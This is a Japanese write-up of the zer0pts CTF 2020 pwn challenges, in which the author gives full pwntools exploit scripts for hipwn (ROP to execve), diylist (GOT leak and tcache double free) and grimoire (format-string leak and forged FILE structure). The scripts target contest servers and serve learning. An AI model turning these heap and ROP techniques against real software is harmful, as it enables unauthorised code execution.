イントロ Link to this heading

いつぞや開催された zer0pts CTF 2020 にチーム TSG として参加した。 チームでは 8847 点 を取り、 そのうち自分は 1382 点 を解いて全体で 12 位だった。

pwn 中心の CTF なのにもっと得点源になれないのはカスすぎますね。 少しでもチームの得点に貢献できる日はいつになるのやら。

hipwn Link to this heading

やるだけ太郎:

exploit.py
 1#!/usr/bin/env python
 2#encoding: utf-8;
 3
 4from pwn import *
 5import sys
 6
 7FILENAME = "./chall"
 8
 9rhp1 =  {"host":"13.231.207.73","port":9010}
10rhp2 = {'host':"localhost",'port':12300}
11context(os='linux',arch='amd64')
12binf = ELF(FILENAME)
13
14int3_gad = 0x0040088c
15syscall_gad = 0x004024dd
16pop_rax_gad = 0x00400121
17pop_rdi_gad = 0x0040141c
18pop_rdx_gad = 0x004023f5
19pop_rbx_gad = 0x0040019b
20pop_rsi_r15_gad = 0x0040141a
21
22def exploit(conn):
23  conn.recvuntil("name?\n")
24  pay = "/bin/sh\x00"
25  pay += "A" * (0x108 - len(pay) - len("/bin/sh\x00"))
26
27  pay += "/bin/sh\x00"
28  pay += p64(pop_rax_gad)
29  pay += p64(59)
30  pay += p64(pop_rdi_gad)
31  pay += p64(0x604268)
32  pay += p64(pop_rsi_r15_gad)
33  pay += p64(0)
34  pay += p64(0)
35  pay += p64(pop_rdx_gad)
36  pay += p64(0)
37  pay += p64(syscall_gad)
38
39  conn.sendline(pay)
40
41
42if len(sys.argv)>1:
43  if sys.argv[1][0]=="d":
44    cmd = """
45      set follow-fork-mode parent
46    """
47    conn = gdb.debug(FILENAME,cmd)
48  elif sys.argv[1][0]=="r":
49    conn = remote(rhp1["host"],rhp1["port"])
50else:
51    conn = remote(rhp2['host'],rhp2['port'])
52exploit(conn)
53conn.interactive()

diylist Link to this heading

値を格納又は読み出しする際に、型を指定することができる。 char* 型としてアロケートしたときのみmalloc()される。

char* として allocate した後に long として GOT のアドレスを書き込み、 それを char* として読み出しすると、 libc 関数のアドレスがリークできる。o

また delete する際には、値が pool に入っているもののみを char* 型としてfree()する + free() したあとも pool からその値が削除されないという仕様になっている。 よって、アロケートした chunk のアドレスをリークした後、 long 型として chunk を複数アロケートして、リークしたアドレスの値を書き込み、 それを delete することで容易に tcache の Double Free が起こる。 尚、 libc は与えられていないが多分 libc2.27 だろうというメタ的推測をつけた (ha?) (tcache の double free 検知は 2.27 にはない)

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6
  7FILENAME = "./chall"
  8
  9rhp1 = {"host":"13.231.207.73","port": 9007}
 10rhp2 = {'host':"localhost",'port':12300}
 11context(os='linux',arch='amd64')
 12binf = ELF(FILENAME)
 13
 14def hoge(conn,ix):
 15  conn.recvuntil("> ")
 16  conn.sendline(str(ix))
 17
 18def _add(conn,ty,data):
 19  hoge(conn,1)
 20  conn.recvuntil(": ")
 21  conn.sendline(str(ty))
 22  conn.recvuntil("Data: ")
 23  if ty==1 or ty==2:
 24    conn.sendline(str(data))
 25  else:
 26    conn.send(data)
 27
 28def _get(conn,ix,ty):
 29  hoge(conn,2)
 30  conn.recvuntil("Index: ")
 31  conn.sendline(str(ix))
 32  conn.recvuntil(": ")
 33  conn.sendline(str(ty))
 34  conn.recvuntil("Data: ")
 35  return conn.recvline().rstrip()
 36
 37def _edit(conn,ix,ty,data):
 38  hoge(conn,3)
 39  conn.recvuntil("Index: ")
 40  conn.sendline(str(ix))
 41  conn.recvuntil(": ")
 42  conn.sendline(str(ty))
 43  conn.recvuntil("Data: ")
 44  if ty==1 or ty==2:
 45    conn.sendline(str(data))
 46  else:
 47    conn.send(data)
 48
 49def _del(conn,ix):
 50  hoge(conn,4)
 51  conn.recvuntil("Index: ")
 52  conn.sendline(str(ix))
 53  if "Success" not in conn.recvline():
 54    raw_input("[!] delete failed. enter to continue:")
 55  else:
 56    print("[-]successfully deleted")
 57
 58off_puts = 0x809c0
 59off_strchr = 0x9d7c0
 60off_printf = 0x64e80
 61off_atol = 0x406a0
 62onegadgets = [0x4f2c5,0x4f322,0x10a38c]
 63
 64target = "puts"
 65
 66def exploit(conn):
 67  #leak libc
 68  _add(conn,3,"D"*8)
 69  print("[*]puts got: "+hex(binf.got[target]))
 70  _edit(conn,0,1,binf.got[target])
 71  puts_addr = unpack(_get(conn,0,3).ljust(8,'\x00'))
 72  libcbase = puts_addr - off_puts
 73  one1 = libcbase + onegadgets[2]
 74  print("[+]puts: "+hex(puts_addr))
 75  print("[+]libc base: "+hex(libcbase))
 76  print("[+]onegadget: "+hex(one1))
 77
 78  #alloc chunk and avoid from freeing by changing the value different from the addr in the pool
 79  _add(conn,3,"A"*8)
 80  str_addr1 = int(_get(conn,1,1))
 81  print("[+]addr: "+hex(str_addr1))
 82  _edit(conn,1,1,0xdeadbeef)
 83
 84  #double free the tcache
 85  _add(conn,1,str_addr1)
 86  _del(conn,2)
 87  _add(conn,1,str_addr1)
 88  _del(conn,2)
 89
 90  #overwrite fd of tcache and write onegadget's addr on GOT of puts
 91  _add(conn,3,p64(binf.got["puts"]))
 92  _add(conn,3,p64(0xdeadbeef))
 93  _add(conn,3,p64(one1))
 94
 95
 96if len(sys.argv)>1:
 97  if sys.argv[1][0]=="d":
 98    cmd = """
 99      set follow-fork-mode parent
100    """
101    conn = gdb.debug(FILENAME,cmd)
102  elif sys.argv[1][0]=="r":
103    conn = remote(rhp1["host"],rhp1["port"])
104else:
105    conn = remote(rhp2['host'],rhp2['port'])
106exploit(conn)
107conn.interactive()

grimoire Link to this heading

セキュリティ機構とlibc version

セキュリティ機構とlibc version

まず第一に filepath を書き換えることで任意ファイルの読み込みは可能である。 但し、フラグファイル名の推測がつかないため、不採用:

Overwrite filepath

Overwrite filepath

Impossible to guess flag filename

Impossible to guess flag filename

まず、 filepath が見当たらない際の error() に於いて FSA ができる。 これによって、 textbase と libcbase の両方がリークできる。

また、fp も自由に書き換えられるため fake _IO_FILE_plusを作る。 但し libc 2.27 では _IO_vtable_check() が走ることに注意。 今回は、 abort の際に _IO_str_jumps の中の _IO_str_overflow が呼ばれるように vtable を書き換え、 その中で呼ばれる _s._allocate_buffer で PC を取ることにした。

但し、今回は運悪く movaps に引っかかったため、 一度 call rsi gadget を挟んでおくことにした。 rsi には _IO_write_baseだかendだかが入るため、ここに予め onegadget の値を入れておく:

結局攻撃のフローは以下のようになった:

なにこの世界一意味のない図???

なにこの世界一意味のない図???

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6
  7FILENAME = "./chall"
  8
  9rhp1 = {"host":"13.231.207.73","port":9008}
 10rhp2 = {'host':"localhost",'port':12300}
 11context(os='linux',arch='amd64')
 12binf = ELF(FILENAME)
 13
 14def hoge(conn,ix):
 15  conn.recvuntil("> ")
 16  conn.sendline(str(ix))
 17
 18def _open(conn):
 19  hoge(conn,1)
 20
 21def _read(conn):
 22  hoge(conn,2)
 23  conn.recvuntil("--*\n")
 24  return conn.recvuntil("*")[:-1]
 25
 26def _revise(conn,off,text):
 27  hoge(conn,3)
 28  conn.recvuntil("Offset: ")
 29  conn.sendline(str(off))
 30  conn.recvuntil("Text: ")
 31  conn.send(text)
 32
 33def _close(conn):
 34  hoge(conn,4)
 35
 36original_len = 370
 37margin = 0x90-2 #オリジナルのtextの末尾とfpとのオフセット
 38off_dlmap = 0x400031
 39off_grimoire_open = 0x1045
 40off_libc_scu_init = 0xab63d08690
 41off_libc_start_main231 = 0x21b97
 42off_main = 0x1478
 43
 44ogs = [0x4f2c5,0x4f322,0x10a38c]
 45
 46def exploit(conn):
 47  #leak libcbase and textbase
 48  _open(conn)
 49  _read(conn)
 50  _revise(conn,370,"A"*margin)
 51  fp =  unpack(_read(conn).split("A"*margin)[1].ljust(8,'\x00'))
 52  print("[*]fp: "+hex(fp))
 53    ##make it possible to fopen with init==1 by forcing fp=0
 54  _revise(conn,370,"A"*margin + p64(0) + "B"*0x18 + "%13$p:%14$p:%22$p\x00")
 55
 56  _open(conn) #invoke error and do FSA
 57  data = conn.recvline().split(": No such")[0]
 58  textbase = int(data.split(":")[1],16) - off_grimoire_open
 59  libcbase = int(data.split(":")[2],16) - off_libc_start_main231
 60  addr_text = textbase + 0x202060
 61  print("[!]libcbase: "+hex(libcbase))
 62  print("[!]textbase: "+hex(textbase))
 63  print("[*]addr text: "+hex(addr_text))
 64
 65
 66  #forged fake _IO_FILE_plus
 67  magic = 0x40
 68  hoge = p64(0x0) #should be
 69  hoge += p64(0x000055ce789cf603)
 70  hoge += p64(0x000055ce789cf603)
 71  hoge += p64(0x0)
 72  hoge += p64(0x0)
 73  hoge += p64(libcbase + ogs[0]) #rdi
 74  hoge += p64(libcbase + ogs[0]) #rsi
 75  hoge += p64(0x0) #_IO_buf_base
 76  hoge += p64(0x700) #_IO_buf_end
 77  hoge += p64(0)*4
 78  hoge += p64(libcbase + 0x3ec680) #chain
 79  hoge += p64(0x0000000000000005)
 80  hoge += p64(0)*2
 81  hoge += p64(libcbase + 0x3ed8b0)
 82  hoge += p64(0x0000000000000173)
 83  hoge += p64(0)
 84  hoge += p64(libcbase + 0x3ed8b0) #lock
 85  hoge += p64(0)*6
 86  hoge += p64(libcbase + 0x3e8340 + 0x28) #_IO_str_jumps with little zure
 87
 88  hoge += p64(libcbase + 0x00022e91) #_s._allocate_buffer == call rsi gadget
 89  hoge += "A"*(0x200 - magic -len(hoge)) + p64(addr_text + magic) + p64(0)*3 + "grimoire.txt"
 90  _revise(conn,magic,hoge)
 91  raw_input()
 92
 93  _close(conn)
 94
 95if len(sys.argv)>1:
 96  if sys.argv[1][0]=="d":
 97    cmd = """
 98      set follow-fork-mode parent
 99    """
100    conn = gdb.debug(FILENAME,cmd)
101  elif sys.argv[1][0]=="r":
102    conn = remote(rhp1["host"],rhp1["port"])
103else:
104    conn = remote(rhp2['host'],rhp2['port'])
105exploit(conn)
106conn.interactive()

babybof / protrude Link to this heading

チームの人が解いてくれました、凄い。

syscall kit Link to this heading

解けなかった。

気づきとしては:

brkは libc の wrapper じゃなくてシスコールの場合アドレスを返すということ ・xxx64 とか openat2 みたいな、seccomp されてないしスコール使えないんかな ・sendとかそのへん使えないんかな ・ソケット通信…?

バイナリ自体になんか欠陥があるだとか、C++固有の exploit だとかだったら、もう完敗。乾杯。

wget Link to this heading

チームの人が、 location 2 回書いて multiple free させて libc leak まではいった。 けど、自分的にデバッグ環境整えるの面倒でやれなかった。

meowmow Link to this heading

kernel 問題解いたことなさ過ぎて、モジュールのソース軽く見ただけで、放置してた。 grimoireで hard なら medium のこの問題、意外といけたのか???

Survey Link to this heading

ptr-yudai san, バケモンか???

アウトロ Link to this heading

pwn 問題はとてもとても面白かったです (全完勢がいたこととジャンルに偏りがあったのはご愛嬌)。

時間内に解けなかった pwn 問題は後で必ず全部解いて復習する